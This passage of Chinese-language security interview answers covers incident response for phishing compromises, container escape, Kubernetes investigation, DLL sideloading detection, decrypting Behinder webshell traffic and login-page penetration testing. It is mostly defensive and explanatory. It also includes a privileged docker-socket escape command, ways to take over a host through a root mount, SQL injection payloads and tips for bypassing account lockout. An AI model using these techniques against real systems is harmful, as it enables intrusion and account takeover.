- 这个无文件 Shell 是如何被触发的?是钓鱼邮件中的宏?是漏洞利用(例如 Web 漏洞触发了命令执行)?是用户点击了恶意 LNK 文件?
清除与恢复:
- 终止恶意进程/线程。
- 移除发现的持久化机制。
- 修复入口点漏洞或加固配置。
- 重启可能无效或不彻底: 简单的重启可能可以清除掉某些内存中的代码,但如果存在持久化机制,重启后会再次执行。
- 重装系统通常是推荐的: 对于确认被植入后门(即使是无文件的)的主机,重装系统是最保险的清除方式。
14. 诱导(攻击)中在 windows 上,处置需要哪些方面入手?
场景描述: 明确是由于社会工程学(诱导)导致一台 Windows 主机失陷。可能是用户点击了钓鱼邮件附件、运行了恶意下载、在假冒网站输入了凭据等。
处置入手点(应急响应流程):
了解诱导细节(识别):
- 方式确认: 和用户沟通(如果合适),或者通过技术手段(邮件网关日志、浏览器历史、EDR 记录)确认诱导的具体方式。是哪封邮件?哪个网站?哪个文件?具体操作是什么?时间点?
- 影响初步评估: 用户是否运行了程序?是否输入了密码?是否允许了远程访问?电脑出现了什么异常?
立即遏制:
- 断开网络: 将受害的 Windows 主机从网络隔离。
- 限制用户权限(如果尚未隔离): 暂时禁用该用户的域账号或 VPN 访问权限(如果怀疑凭据泄露)。
凭据安全处置:
- 强制修改密码: 立即要求用户修改该 Windows 主机的登录密码。
- 排查密码复用: 询问用户该密码是否也用于其他系统(邮箱、VPN、内部应用、银行账户等),所有使用相同或相似密码的账户都需要立即修改密码。
- 检查并强制启用 MFA: 确保用户所有关键账户(特别是域账户、邮箱、VPN)都开启了多因素认证。
- 会话注销: 在相关系统后台(如 O365 管理中心、VPN 管理后台)强制注销该用户的所有活动会话/令牌。
端点排查与分析:
- 恶意软件分析: 如果用户运行了文件,找到该文件(可能在下载目录、临时目录、邮件附件缓存),获取其 Hash,提交到 VirusTotal 等平台分析,或在沙箱中运行。
- 进程分析: 检查任务管理器、Process Explorer,寻找异常进程(名称、路径、CPU/内存占用、无签名)。
- 网络连接分析:
netstat -ano
查看是否有可疑的对外连接(C2 通信、数据外传)。 - 持久化检查: 使用 Autoruns 检查注册表启动项、计划任务、服务等,寻找恶意软件设置的自启动项。
- 文件系统检查: 查找在诱导事件发生时间点前后创建或修改的可疑文件(用户目录、临时目录、系统目录)。
- 日志审计: 查看 Windows 事件日志(Security 4688, Application, System)、PowerShell 日志、浏览器历史和下载记录。
- 杀毒软件/EDR 扫描: 进行全盘扫描,检查隔离区和检测日志。
评估横向移动和数据泄露风险:
- 登录活动审计: 检查域控或其他服务器的安全日志,看是否有来自该失陷主机的异常登录尝试(成功或失败),或者使用该用户凭据的异常登录。
- 网络流量审计: 检查防火墙、NTA 日志,看该主机在失陷期间是否有异常的大量数据传出。
根除与恢复:
- 清除恶意软件: 终止进程、删除文件、移除持久化项。
系统恢复:
- 如果只是凭据泄露,未发现恶意软件运行,修改密码和加固后可能无需重装。
- 如果确认有恶意软件运行过,强烈建议备份用户数据后,格式化硬盘并重装操作系统。这是最彻底的清除方式。
- 数据恢复: 从干净的备份中恢复用户数据。
事后改进:
- 用户再教育: 针对此次诱导手法,对该用户及可能的全员进行安全意识再培训。
- 技术加固: 评估是否需要加强邮件过滤规则、Web 访问控制策略、终端 EDR 策略、部署更严格的宏策略等。
15. 容器逃逸有哪些点?挂载逃逸原理?容器逃逸有哪几种方式?一个容器在安全设备上,有人操作,有恶意攻击,要怎么排查?
容器逃逸的风险点 (Vulnerable Points):
容器逃逸指在容器内部执行的进程,突破了由 Namespace、Cgroups、Capabilities 等技术提供的隔离限制,获得了对宿主机或其他容器的访问权限。风险点主要来自:
危险的配置 (Misconfigurations):
- 特权容器 (
--privileged
): 这是最危险的配置。它几乎禁用了所有安全隔离,容器内进程拥有宿主机 root 级别的权限,可以直接访问宿主机设备 (/dev
)、加载内核模块等。 敏感目录挂载 (Sensitive Host Path Mounts):
- 挂载 Docker Socket (
-v /var/run/docker.sock:/var/run/docker.sock
): 允许容器内进程通过 socket 与宿主机的 Docker 守护进程通信,从而控制宿主机上的 Docker(创建/删除容器、执行命令等)。 - 挂载宿主机根目录 (
-v /:/host
): 允许容器直接读写宿主机文件系统。 - 挂载宿主机
/proc
(-v /proc:/host_proc
或使用--pid=host
): 可能泄露宿主机进程信息,甚至进行进程注入(需配合其他能力)。 - 挂载宿主机
/etc
,/root
,/home
等敏感目录。
- 挂载 Docker Socket (
共享宿主机命名空间 (Sharing Host Namespaces):
--net=host
: 共享宿主机网络栈,可以监听宿主机所有网络流量,访问宿主机 localhost 服务。--pid=host
: 共享宿主机 PID 命名空间,可以看到宿主机所有进程。--ipc=host
: 共享宿主机 IPC 命名空间。--uts=host
: 共享宿主机 UTS 命名空间 (主机名)。
危险的 Linux 能力 (
--cap-add
):赋予容器内进程过高的 Linux Capabilities。
SYS_ADMIN
: 超级能力,可以执行 mount、修改 namespace 等大量特权操作。SYS_PTRACE
: 允许调试和跟踪任意进程(包括宿主机进程,如果 PID 命名空间共享或能突破)。DAC_READ_SEARCH
/DAC_OVERRIDE
: 绕过文件读写和执行权限检查。
- 禁用安全模块 (
--security-opt seccomp=unconfined
,--security-opt apparmor=unconfined
): 关闭 Seccomp(限制 syscall)、AppArmor/SELinux(强制访问控制)等安全防护。
- 特权容器 (
软件漏洞 (Vulnerabilities):
- 内核漏洞 (Kernel Vulnerabilities): 容器与宿主机共享内核。如果内核存在提权漏洞(如 Dirty COW, Dirty Pipe),在容器内利用该漏洞可以直接获得宿主机权限。这是最彻底的逃逸方式。
- 容器运行时漏洞 (Container Runtime Vulnerabilities): Docker、containerd、runC、CRI-O 等运行时本身可能存在漏洞,允许从容器内部影响或控制运行时,从而逃逸。例如著名的 runC 漏洞 (CVE-2019-5736)。
- 容器编排工具漏洞 (Orchestrator Vulnerabilities): Kubernetes 等编排工具自身的组件如果存在漏洞,也可能被利用来提升权限或操作宿主机。
挂载逃逸原理:
- Docker Socket 挂载原理: Docker Daemon (宿主机上的服务) 监听一个 Unix Socket 文件 (
/var/run/docker.sock
) 来接收 Docker API 命令。如果把这个 Socket 文件挂载进容器,容器内的进程(需要有读写该 socket 的权限)就可以像宿主机上的docker
客户端一样,向 Docker Daemon 发送指令,例如docker run --privileged -v /:/host ubuntu bash
,从而创建一个能完全访问宿主机的新容器,实现逃逸。 - 宿主机根目录挂载原理: 将宿主机的根文件系统
/
挂载到容器的某个目录下(如/host
)。容器内的 root 用户(通常 UID 0)就可以直接访问和修改/host
目录下的所有内容,等同于直接访问和修改宿主机的文件系统。可以修改/host/etc/passwd
,/host/etc/shadow
,/host/root/.ssh/authorized_keys
, 添加 cron 任务到/host/etc/cron.d
等方式获得宿主机权限或持久化。
容器逃逸的主要方式 (Methods):
- 利用特权模式 (
--privileged
): 直接利用赋予的强大权限访问宿主机资源。 - 利用 Docker Socket 挂载: 通过 Docker API 控制宿主机 Docker。
- 利用敏感目录挂载: 直接读写宿主机文件系统。
- 利用危险的 Capabilities: 如使用
SYS_ADMIN
执行特权操作。 - 利用内核漏洞: 在容器内触发宿主机内核漏洞提权。
- 利用容器运行时漏洞: 攻击 runC/containerd/dockerd 本身。
- 利用 Namespace 配置不当或漏洞: 找到方法切换或突破 Namespace 隔离。
排查容器中的恶意攻击(假设已有安全设备监控):
- 确认目标容器/Pod: 安全设备告警通常会关联到具体的容器 ID、Pod 名称、镜像名称或运行在哪个宿主机节点上。使用
docker ps
或kubectl get pods -o wide
定位。 检查容器运行配置:
docker inspect <container_id>
或kubectl describe pod <pod_name> -n <namespace>
。- 重点关注: 是否是特权容器 (
Privileged: true
)?是否有敏感挂载 (Mounts
)?是否共享了宿主机命名空间 (HostNetwork
,HostPID
,HostIPC
)?添加了哪些 Capabilities (CapAdd
)?安全配置 (SecurityOpts
) 是否被禁用?
- 隔离容器/节点(如果可行): 限制容器的网络访问,或者将整个节点设置为不可调度 (
kubectl cordon <node_name>
) 并迁移其他 Pod (kubectl drain <node_name>
)。 进入容器内部排查:
docker exec -it <container_id> bash
或kubectl exec -it <pod_name> -n <namespace> [-c <container_name>] -- bash
- 进程检查:
ps aux
,top
。是否有不属于该容器应用的异常进程? - 网络检查:
netstat -antup
,ss -antup
。是否有对外的 C2 连接?是否有异常监听端口? - 文件检查: 检查
/tmp
, 用户目录, 应用目录,是否有攻击者上传的工具、脚本、恶意文件?是否有异常修改的文件?find / -mtime -1
查找最近修改。 - 历史命令:
history
。 - 环境变量:
env
。是否有敏感信息泄露或被篡改? - Cron 任务:
crontab -l
(如果容器内安装了 cron)。
检查容器日志:
docker logs <container_id>
或kubectl logs <pod_name> -n <namespace> [-c <container_name>]
。查找应用错误、异常访问记录、攻击载荷痕迹。
检查宿主机节点:
- 登录容器所在的宿主机节点 (Worker Node)。
- 系统日志:
journalctl
,/var/log/syslog
。查找与该容器相关的错误、内核消息、安全事件。 - Docker/Containerd 日志:
journalctl -u docker
或journalctl -u containerd
。查找容器启动失败、运行时错误等信息。 - 宿主机进程: 查看容器进程在宿主机上的状态 (
ps aux | grep <container_main_pid>
)。 - 资源监控:
top
,htop
,docker stats
。容器是否占用了异常高的 CPU/内存/网络? - 检查挂载点: 如果容器挂载了宿主机目录,检查宿主机上对应目录的文件是否有被篡改。
利用容器安全工具:
- 如果部署了 Falco, Sysdig Secure, Aqua Security, Twistlock 等运行时安全工具,检查这些工具的告警日志。它们通常能检测到可疑的系统调用、文件访问、网络行为,甚至已知的逃逸尝试。
镜像分析(如果怀疑镜像本身有问题):
- 使用 Trivy, Clair 等工具扫描容器镜像是否存在已知的 CVE 漏洞。
- 拉取镜像,手动检查镜像内容是否有被植入后门。
16. k8s 那几个组件构成?k8s 中发现恶意流量要怎么排查?k8s 实操命令?k8s 和 docker 出现问题排查思路?k8s,pod 外联该怎么操作?定位 pod 排查集群?进 pod,怎么分步查询?
k8s 组件构成:
Kubernetes (k8s) 采用 Master-Node 架构(现在更倾向于叫 Control Plane 和 Worker Node):
Control Plane (控制平面) 组件:
负责集群的管理和决策。
kube-apiserver
: 集群的统一入口,提供 K8s API 服务,所有组件都通过它通信。etcd
: 分布式键值存储,保存集群的所有状态数据(配置、对象定义等),是集群的“大脑”。kube-scheduler
: 负责决定新创建的 Pod 应该调度到哪个 Node 上运行。kube-controller-manager
: 运行一系列控制器(如 Node Controller, Deployment Controller, Service Controller),负责维护集群状态,确保实际状态与期望状态一致。cloud-controller-manager
(可选): 与底层云平台(如 AWS, Azure, GCP)交互,管理云资源(如负载均衡器、存储卷)。
Worker Node (工作节点) 组件:
负责运行用户的工作负载(容器)。
kubelet
: 运行在每个 Node 上的代理,负责与 API Server 通信,管理本机上的 Pod 和容器的生命周期。kube-proxy
: 负责维护 Node 上的网络规则(如 iptables, IPVS),实现 Service 的负载均衡和访问。Container Runtime
: 负责实际运行容器的软件,如 Docker, containerd, CRI-O。Kubelet 通过 CRI (Container Runtime Interface) 与之交互。
k8s 中发现恶意流量的排查思路:
定位流量源/目标 Pod:
- 获取信息: 从 NTA、防火墙、云流日志或 K8s 网络监控工具(如 Cilium Hubble)获取恶意流量的源 IP 或目标 IP。
- 查找 Pod IP: 使用
kubectl get pods -A -o wide | grep <Pod_IP>
找到 IP 对应的 Pod 名称和 Namespace。 - 查找 Service IP: 如果是 Service IP,使用
kubectl get svc -A | grep <Service_IP>
找到 Service 名称和 Namespace。然后kubectl describe svc <svc_name> -n <namespace>
查看 Endpoints,找到后端 Pods 的 IP 列表,再反查 Pod。
检查 Pod 配置和状态:
kubectl describe pod <pod_name> -n <namespace>
: 查看 Pod 的详细信息,包括:运行在哪个 Node 上、使用的镜像、挂载的卷、安全上下文 (Security Context)、最近的事件 (Events) 等。
检查容器日志:
kubectl logs <pod_name> -n <namespace> [-c <container_name>]
: 查看容器的标准输出和错误日志。寻找异常信息、错误、攻击痕迹。
进入容器内部排查:
kubectl exec -it <pod_name> -n <namespace> [-c <container_name>] -- bash
(或其他 shell)- 内部进程检查:
ps aux
,top
。 - 内部网络检查:
netstat -antup
,ss -antup
。确认恶意连接。 - 内部文件检查:
ls -la
,find
,cat
。查找恶意文件、工具。 - 历史命令:
history
。
检查运行节点 (Node):
- 获取 Pod 运行的 Node 名称 (
kubectl get pod <pod_name> -n <namespace> -o wide
)。 - SSH 登录到该 Node。
- 检查
kubelet
日志:journalctl -u kubelet
。 - 检查容器运行时日志:
journalctl -u docker
/journalctl -u containerd
。 - 检查系统日志:
journalctl
,/var/log/syslog
。 - 检查 Node 上的网络连接 (
ss
,netstat
) 和进程 (ps
)。
- 获取 Pod 运行的 Node 名称 (
检查网络策略 (Network Policy):
kubectl get networkpolicy -n <namespace>
: 查看该 Namespace 是否有 NetworkPolicy 限制了 Pod 的出入站流量。策略是否配置正确?是否存在允许恶意流量的规则?
检查 K8s API Server 审计日志: (如果开启了)
- 审计日志记录了对 K8s API 的所有请求,可以帮助追踪恶意 Pod 是如何被创建或修改的,或者是否有未经授权的 API 访问。
K8s 实操命令 (常用):
kubectl get nodes
: 查看集群节点状态。kubectl get pods [-n <namespace>] [-A] [-o wide]
: 查看 Pods。kubectl describe pod <pod_name> [-n <namespace>]
: 查看 Pod 详细信息。kubectl logs <pod_name> [-n <namespace>] [-c <container_name>] [-f]
: 查看 Pod 日志。kubectl exec -it <pod_name> [-n <namespace>] [-c <container_name>] -- <command>
: 进入 Pod 或执行命令。kubectl get svc [-n <namespace>] [-A]
: 查看 Services。kubectl describe svc <svc_name> [-n <namespace>]
: 查看 Service 详细信息。kubectl get deployment|statefulset|daemonset [-n <namespace>] [-A]
: 查看工作负载。kubectl scale deployment <dep_name> --replicas=N
: 伸缩 Deployment。kubectl apply -f <yaml_file>
: 创建或更新资源。kubectl delete -f <yaml_file>
/kubectl delete pod|svc|... <resource_name>
: 删除资源。kubectl config get-contexts
: 查看可用上下文。kubectl config current-context
: 查看当前上下文。kubectl config use-context <context_name>
: 切换上下文。kubectl top pod|node
: 查看资源使用情况(需部署 metrics-server)。kubectl get events [-n <namespace>] [-A]
: 查看集群事件。
K8s 和 Docker 出现问题排查思路:
问题层面判断:
Pod 无法启动/调度 (Pending):
大概率是 K8s 层面的问题。
kubectl describe pod ...
看 Events:资源不足?节点 Taints 不匹配?镜像拉取失败 (ImagePullBackOff)?网络插件问题?存储卷挂载失败?
Pod 运行中但服务异常 (Running but not Ready/Working):
可能是 K8s 网络层面,也可能是容器/应用层面。
kubectl logs ...
: 看应用日志。kubectl exec ...
: 进容器看进程、网络、配置。- 检查 Service 和 Endpoints 是否正确。
- 检查 NetworkPolicy 是否阻止了正常流量。
Pod 反复重启 (CrashLoopBackOff):
大概率是容器/应用层面的问题。
kubectl logs --previous ...
: 看上次崩溃前的日志,找错误原因(程序 bug、配置错误、OOMKilled)。kubectl describe pod ...
: 检查资源限制 (Limits) 是否太低。
Node 故障 (NotReady):
是 Node 自身或 Node 组件的问题。
- SSH 到 Node,检查
kubelet
、容器运行时 (docker
/containerd
) 服务状态和日志。 - 检查 Node 资源(磁盘、内存、CPU)。
- 检查 Node 网络连接。
- SSH 到 Node,检查
Docker 问题(如果 K8s 使用 Docker 作为运行时):
- 在 Node 上使用
docker ps -a
查看 K8s 管理的容器和可能存在的其他容器。 docker inspect <container_id>
查看容器详细配置。docker logs <container_id>
查看容器日志(和kubectl logs
通常一致)。systemctl status docker
/journalctl -u docker
查看 Docker 服务状态和日志。docker system df
查看 Docker 占用的磁盘空间。
- 在 Node 上使用
k8s, Pod 外联该怎么操作 (处置 Pod 外联)?:
- 排查(同上): 找到外联的 Pod ->
kubectl describe
看配置 ->kubectl logs
看日志 ->kubectl exec
进 Pod 查进程、网络、文件。 处置/控制:
- 删除恶意 Pod:
kubectl delete pod <pod_name> -n <namespace>
(如果 Pod 是由 Deployment 等控制器管理的,它会被自动重建,需要删除或修改控制器)。 限制网络访问 (Network Policy):
这是 K8s 原生的控制方式。创建 Egress 类型的 NetworkPolicy,只允许 Pod 连接到必要的、已知的外部地址,默认拒绝其他所有外联。
YAML
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-specific-egress namespace: my-namespace spec: podSelector: matchLabels: app: my-app # Select pods with this label policyTypes: - Egress egress: - to: - ipBlock: cidr: 1.2.3.4/32 # Allow specific IP - to: - namespaceSelector: {} # Allow traffic to any pod in any namespace (adjust as needed) # Add more rules for allowed domains (requires DNS policy support in CNI) or ports # If no rules match, egress is denied by default if policyTypes includes Egress
- 使用 Service Mesh: Istio 等服务网格提供更精细的 Egress 流量控制和监控。
- 节点级防火墙: 在 Node 上使用 iptables 或云提供商的安全组限制出站流量(粒度较粗)。
- 透明代理: 配置让 Pod 的出站流量强制通过一个 Egress Proxy 进行过滤。
- 删除恶意 Pod:
定位 pod 排查集群?进 pod,怎么分步查询? (这部分与前面有重叠,精简整合)
定位 Pod:
- 已知 Pod 名/标签/Namespace:直接使用
kubectl get/describe/logs/exec
。 - 已知 Pod IP:
kubectl get pods -A -o wide | grep <IP>
。 - 已知 Service IP:
kubectl describe svc ...
找 Endpoints -> Pod IP -> Pod。
- 已知 Pod 名/标签/Namespace:直接使用
排查集群 (概览):
kubectl get nodes -o wide
(节点状态、IP、版本)kubectl get pods -A
(所有 Pods 状态)kubectl get events -A --sort-by='.lastTimestamp'
(近期事件,找 Error/Warning)kubectl top node/pod -A
(资源使用情况)- 检查
kube-system
namespace 下的核心组件 Pod 状态。
进 Pod 分步查询 (Checklist):
ps auxwf
(进程树) /top
(实时资源) -> 找异常进程。ss -antup
/netstat -antup
-> 找异常监听/连接。ls -la /proc/<PID>/exe
,cat /proc/<PID>/cmdline
,lsof -p <PID>
-> 分析可疑进程。history
-> 看执行过的命令。find / -mtime -1 -type f
-> 找最近修改的文件。- 检查应用日志、配置文件。
env
-> 检查环境变量。df -h
-> 检查挂载点和磁盘使用。
17. 中了白加黑要怎么排查?马用了白+黑,如何去电脑上定位?linux 和 windows 如何定位?
什么是“白加黑”攻击?
“白加黑”(DLL Sideloading / DLL Hijacking)是一种常见的攻击手法。攻击者利用了操作系统加载动态链接库(DLL,在 Windows 中;或者 Shared Object, .so,在 Linux 中)的机制。
- “白”文件: 指一个合法的、通常带有数字签名的可执行文件(
.exe
)。这个程序本身没有恶意代码。 - “黑”文件: 指一个恶意的动态链接库(
.dll
或.so
),通常伪装成“白”文件正常运行时需要加载的某个合法库。 - 攻击原理: 攻击者将“白”文件和“黑”文件放在同一个目录下(或者利用 DLL/SO 搜索顺序的优先级),当用户运行“白”文件时,操作系统或程序本身会优先加载同目录下的“黑”DLL/SO,而不是系统目录下的合法 DLL/SO。这样,“白”程序的行为就被“黑”DLL 中的恶意代码劫持了,从而执行恶意操作(如连接 C2、窃取信息等),同时“白”程序可能看起来仍在正常运行,具有很强的迷惑性。
排查思路与定位方法:
核心思路是找到那个“行为异常的合法进程(白)”,然后检查它加载的模块(DLL/SO),看是否有从非标准路径加载的、可疑的模块(黑)。
Windows 环境排查与定位:
识别可疑的“白”进程:
- 告警来源: EDR、NTA 或杀毒软件可能会告警某个看似合法的进程(如
Teams.exe
,OneDrive.exe
,WeChat.exe
,AnyDesk.exe
, 甚至系统程序)发起了恶意网络连接、执行了敏感命令或有其他异常行为。 - 手动观察: 任务管理器中发现某个合法程序 CPU、内存或网络占用异常。
- 告警来源: EDR、NTA 或杀毒软件可能会告警某个看似合法的进程(如
检查进程加载的 DLL 模块(关键步骤):
使用 Process Explorer 或 Process Hacker:
- 找到可疑的“白”进程。
- 查看该进程加载的 DLL 列表(通常在下方面板选择 "DLLs" 视图)。
重点关注:
- 加载路径 (Path): 是否有 DLL 不是从
C:\Windows\System32
,C:\Windows\SysWOW64
或该程序正常的安装目录加载的?特别是,是否从该“白”exe 文件所在的目录下加载了 DLL? 这通常是 DLL Sideloading 的最明显特征。 - 数字签名 (Verified Signer): 检查可疑路径加载的 DLL 是否有有效的数字签名?通常“黑”DLL 是没有签名或签名无效/伪造的。
- DLL 名称: “黑”DLL 的名称通常会与一个合法的系统 DLL 或程序依赖的 DLL 同名。
- 加载路径 (Path): 是否有 DLL 不是从
文件系统检查:
- 定位“白”文件: 找到那个行为异常的 .exe 文件。它是在正常的安装路径下(如
C:\Program Files\...
)还是被复制到了其他地方(如C:\Users\Public\
,C:\ProgramData\
,%APPDATA%
,%TEMP%
, 下载目录等)? - 检查同目录文件: 查看该 .exe 文件所在的目录下,是否存在一个或多个 DLL 文件?这些 DLL 文件是否符合上述“黑”DLL 的特征(名称可疑、无签名、加载路径异常)?
- 文件属性分析: 检查可疑 DLL 的 Hash 值(提交 VirusTotal 分析)、创建/修改时间、大小等。
- 定位“白”文件: 找到那个行为异常的 .exe 文件。它是在正常的安装路径下(如
检查持久化机制:
这个“白+黑”组合是如何自启动的?使用 Autoruns 工具检查:
- 注册表 Run/RunOnce 键。
- 计划任务 (Task Scheduler)。
- 服务 (Services)。
- 启动文件夹 (Startup folder)。
- 是否有快捷方式 (LNK 文件) 指向被移动位置的“白”exe?
日志分析:
- Sysmon 日志: Event ID 7 (Image Loaded / DLL Load) 记录了哪个进程加载了哪个 DLL 及其路径,是定位 DLL Sideloading 的直接证据。
- Windows 事件日志: Security Log ID 4688 (Process Creation) + 命令行参数,可能看到“白”程序是如何被启动的。
- EDR/AV 日志: 查看相关告警和历史记录。
Linux 环境排查与定位(类似概念,技术细节不同):
Linux 下虽然不叫 DLL Sideloading,但有类似通过劫持共享对象 (.so) 加载机制的方法:
- 识别可疑进程: 同 Windows,发现某个看似正常的进程行为异常。
检查
LD_PRELOAD
环境变量:cat /proc/<PID>/environ | tr '\0' '\n' | grep LD_PRELOAD
LD_PRELOAD
环境变量可以强制进程在加载任何其他库之前,优先加载指定的.so
文件。这是 Linux 下常见的劫持方式。检查是否有恶意的.so
文件被预加载。
检查运行时链接器搜索路径:
ldd /path/to/executable
: 查看程序依赖哪些共享库以及它们被解析到的路径。/etc/ld.so.conf
和/etc/ld.so.conf.d/
: 这些文件(夹)定义了动态链接器查找.so
文件的默认路径顺序。检查是否有可疑路径被添加,或者有恶意的.so
文件被放置在优先级高的路径下(如/usr/local/lib
可能优先于/usr/lib
)。运行ldconfig -p
查看当前的库缓存。RPATH
/RUNPATH
: 使用readelf -d /path/to/executable | grep 'RPATH\|RUNPATH'
查看可执行文件是否硬编码了特定的库搜索路径。攻击者可能修改程序的RUNPATH
或将恶意.so
放入RPATH
指向的目录。
检查进程加载的共享对象:
cat /proc/<PID>/maps | grep '.so'
或lsof -p <PID> | grep '.so'
- 查看进程实际加载了哪些
.so
文件以及它们的完整路径。寻找从非标准位置加载的库。
文件系统检查:
- 找到可疑进程对应的可执行文件。
- 检查该可执行文件所在目录、
LD_PRELOAD
指向的目录、高优先级库路径下是否有与正常库同名的恶意.so
文件。 - 分析可疑
.so
文件的属性 (hash, size, permissions, strings)。
检查持久化:
.bashrc
,.profile
,/etc/profile
等文件是否设置了LD_PRELOAD
环境变量?cron
任务、systemd
服务、init.d
脚本是否启动了可疑的程序或设置了环境变量?
日志分析:
syslog
,auth.log
,auditd
日志(如果配置了系统调用审计)。
总结定位方法: 关键是找到“白”进程,然后检查它加载的动态库的来源路径和签名/属性。Windows 下 Process Explorer/Hacker 和 Sysmon 是利器;Linux 下重点检查 LD_PRELOAD
、链接器路径和 /proc/<PID>/maps
。
18. 冰蝎 3.0 4.0 加密方法?冰蝎的流量是加密的,要怎么解密?最大特征是什么?解密思路?
冰蝎 (Behinder) 加密与解密(以 3.0 及后续版本为例):
冰蝎是一款流行的、以强加密通信著称的 Webshell 管理工具。
加密方法 (Encryption Method):
- 动态密钥协商: 冰蝎 3.0 及后续版本不再使用固定的硬编码密钥。它在建立连接时有一个密钥协商过程。客户端(攻击者工具)和服务器端(Webshell 脚本)会基于预共享的连接密码(你在连接时输入的那个密码),结合一些随机数或会话相关信息,通过一个双方约定的算法(如 KDF - Key Derivation Function)动态生成一个临时的会话密钥(通常是 16 字节)。
- 对称加密: 使用协商好的会话密钥,采用 AES-128 对称加密算法对后续传输的命令和数据进行加密。加密模式可能是 ECB 或 CBC(具体版本可能有差异,CBC 更安全)。
- 数据传输: 加密后的数据通常会进行 Base64 编码,然后放在 HTTP 请求的 Body 或特定参数中发送。响应也同样经过加密和编码。
流量解密 (How to Decrypt):
- 核心前提:必须获取连接密码! 由于会话密钥是基于连接密码动态生成的,没有密码就无法推导出正确的会话密钥。
获取密码的途径:
- 找到 Webshell 文件: 在服务器上找到冰蝎的 Webshell 脚本文件(如
.php
,.jsp
,.aspx
),其源码中通常包含了密码(可能是明文、简单的 Base64 或需要逆向一小段代码)。 - 内存 Dump 分析: Dump Web 服务器进程(如 Tomcat JVM, PHP-FPM 进程)的内存,搜索内存中的字符串,有可能找到密码或者已经协商好的会话密钥。
- 配置文件/日志: 攻击者可能在其他地方(如配置文件、操作日志)意外留下了密码。
- 找到 Webshell 文件: 在服务器上找到冰蝎的 Webshell 脚本文件(如
解密步骤(已知密码):
- 抓取流量: 使用 Wireshark 或其他抓包工具捕获客户端和服务器之间的完整 HTTP 通信 Pcap 包。
- 分析协议细节: 需要了解你所面对的具体冰蝎版本的密钥协商过程(如何从密码和交互数据生成会话密钥)和 AES 加密细节(模式、填充方式)。这通常需要逆向分析冰蝎客户端或 Webshell 源码。
- 提取关键信息: 从抓包数据中提取出会话密钥生成所需的动态部分(如随机数、时间戳等,取决于版本)以及加密的请求/响应 Body。
编写/使用解密工具:
使用 Python (
pycryptodome
库) 等语言,根据分析得到的协议和获取的密码,编写脚本来:
- 模拟密钥协商过程,计算出会话密钥。
- 对提取出的 Base64 数据进行解码。
- 使用计算出的会话密钥和正确的 AES 参数(模式、IV - 如果是 CBC 模式)解密数据。
- 特定工具: 社区可能存在针对特定版本冰蝎的解密工具或脚本,可以搜索利用。
最大特征 (Key Characteristics of Traffic):
- 强加密载荷: HTTP 请求/响应 Body 内容是 Base64 编码的、看起来是乱码的加密数据,没有明文的命令或代码。这是最核心的特征。
- 固定的 Accept* 头(可被修改): 冰蝎默认请求头中
Accept
,Accept-Language
,Accept-Encoding
字段可能是固定的、比较典型的浏览器值,但攻击者可以修改。 - 特定的 Content-Type(较稳定): 请求的
Content-Type
常常是application/octet-stream
或类似的值,表示二进制数据流。 - 短连接 & User-Agent(可变): 可能使用短连接 (
Connection: close
)。User-Agent
默认是一个 Java 的 UA,但极易被修改。 - 响应头: 响应头中可能包含特定字段用于密钥协商(早期版本)或状态指示。
- URL 请求: 请求指向一个固定的 Webshell 文件路径(如
shell.jsp
)。
- 解密思路总结: 抓包 -> 获取密码 -> 分析对应版本协议(密钥协商+AES细节) -> 提取流量关键信息 -> 写脚本/用工具解密。核心在于获取密码和理解协议。无密码解密极其困难,主要靠内存取证。
19. 给你一个登陆页面要怎么测?
测试登录页面是 Web 渗透测试的基础,需要全面覆盖认证、授权、会话管理、输入验证等多个方面。主要测试点包括:
信息收集与初步探测:
- 查看页面源代码:寻找隐藏字段、注释、JavaScript 文件(分析 JS 逻辑)、API 端点。
- 检查 HTTP 请求/响应头:服务器类型、使用的技术栈、Set-Cookie 指令、安全相关的头(CSP, HSTS, X-Frame-Options 等)。
- 识别框架/CMS:使用 Wappalyzer 等工具识别网站使用的技术。
认证机制测试:
用户名枚举:
- 尝试使用有效和无效的用户名,观察服务器的响应信息(错误提示、响应时间)是否不同。目标是找出有效的用户名。
- 检查忘记密码功能是否泄露用户信息(“用户不存在” vs “密码重置邮件已发送”)。
密码猜测与暴力破解:
- 尝试常见弱密码(如 123456, password, admin)和默认密码(admin/admin 等)。
- 检查是否有账户锁定机制?锁定阈值是多少?锁定时间多长?是否可以绕过(例如通过伪造 X-Forwarded-For 头)?
- 使用工具(如 Hydra, Burp Intruder)进行字典暴力破解(针对少量用户)或密码喷洒(使用少量密码尝试大量用户)。
认证绕过尝试:
- SQL 注入: 在用户名和密码字段尝试 SQL 注入 Payload(如
' or 1=1--
,' or 'a'='a
)。 - NoSQL 注入: 如果后端是 NoSQL 数据库。
- 参数篡改: 尝试提交空密码、不存在的参数,或修改隐藏字段的值。
- 逻辑漏洞: 能否通过特殊字符或方式绕过验证逻辑?
- SQL 注入: 在用户名和密码字段尝试 SQL 注入 Payload(如
会话管理测试:
Cookie 安全性:
- 检查 Session ID Cookie 的属性:HttpOnly? Secure? SameSite? Path? Domain?
- Session ID 是否足够随机和长,难以猜测?
- Cookie 是否在注销后被正确清除或失效?
- 会话固定 (Session Fixation): 能否在用户登录前设置一个 Session ID,用户登录后服务器继续使用这个 ID?
- 会话超时: 是否有合理的会话超时机制?
输入验证与漏洞测试:
- 跨站脚本 (XSS): 在用户名、密码(可能不回显)或其他可见字段(如“记住我”)尝试注入 XSS Payload。检查错误信息中是否反射了输入?
- Host 头注入: 修改 HTTP Host 头,看是否影响页面行为或密码重置链接。
- CRLF 注入: 在输入字段或 HTTP 头中尝试注入 CRLF 字符 (
\r\n
),看是否能注入额外的 HTTP 头或分割响应。 - 拒绝服务 (DoS): 输入超长用户名/密码,或发送大量并发登录请求(谨慎测试)。
密码重置功能测试(如果存在):
- 密码重置凭证(Token)是否足够随机、有时效性、一次性?
- 重置链接中的 Token 是否可以通过 Host 头注入等方式发送到攻击者控制的域?
- 重置过程是否会泄露用户信息?
- 能否通过暴力破解重置 Token?
传输层安全测试:
- 登录请求是否通过 HTTPS 发送?
- TLS/SSL 配置是否安全(协议版本、密码套件、证书有效性)?
- 是否启用了 HSTS?
测试工具: Burp Suite 是测试登录页面的核心工具,用于拦截、修改、重放请求,以及进行 Intruder 攻击(爆破、枚举)。
20. 红队思路?域名收集思路?互联网收集思路?平台账号密码泄露,有哪些攻击面?
红队思路 (Red Teaming Methodology):
红队模拟真实、有目标的攻击者,旨在评估蓝队(防御方)的检测和响应能力,并发现组织安全体系中的深层弱点。其思路特点:
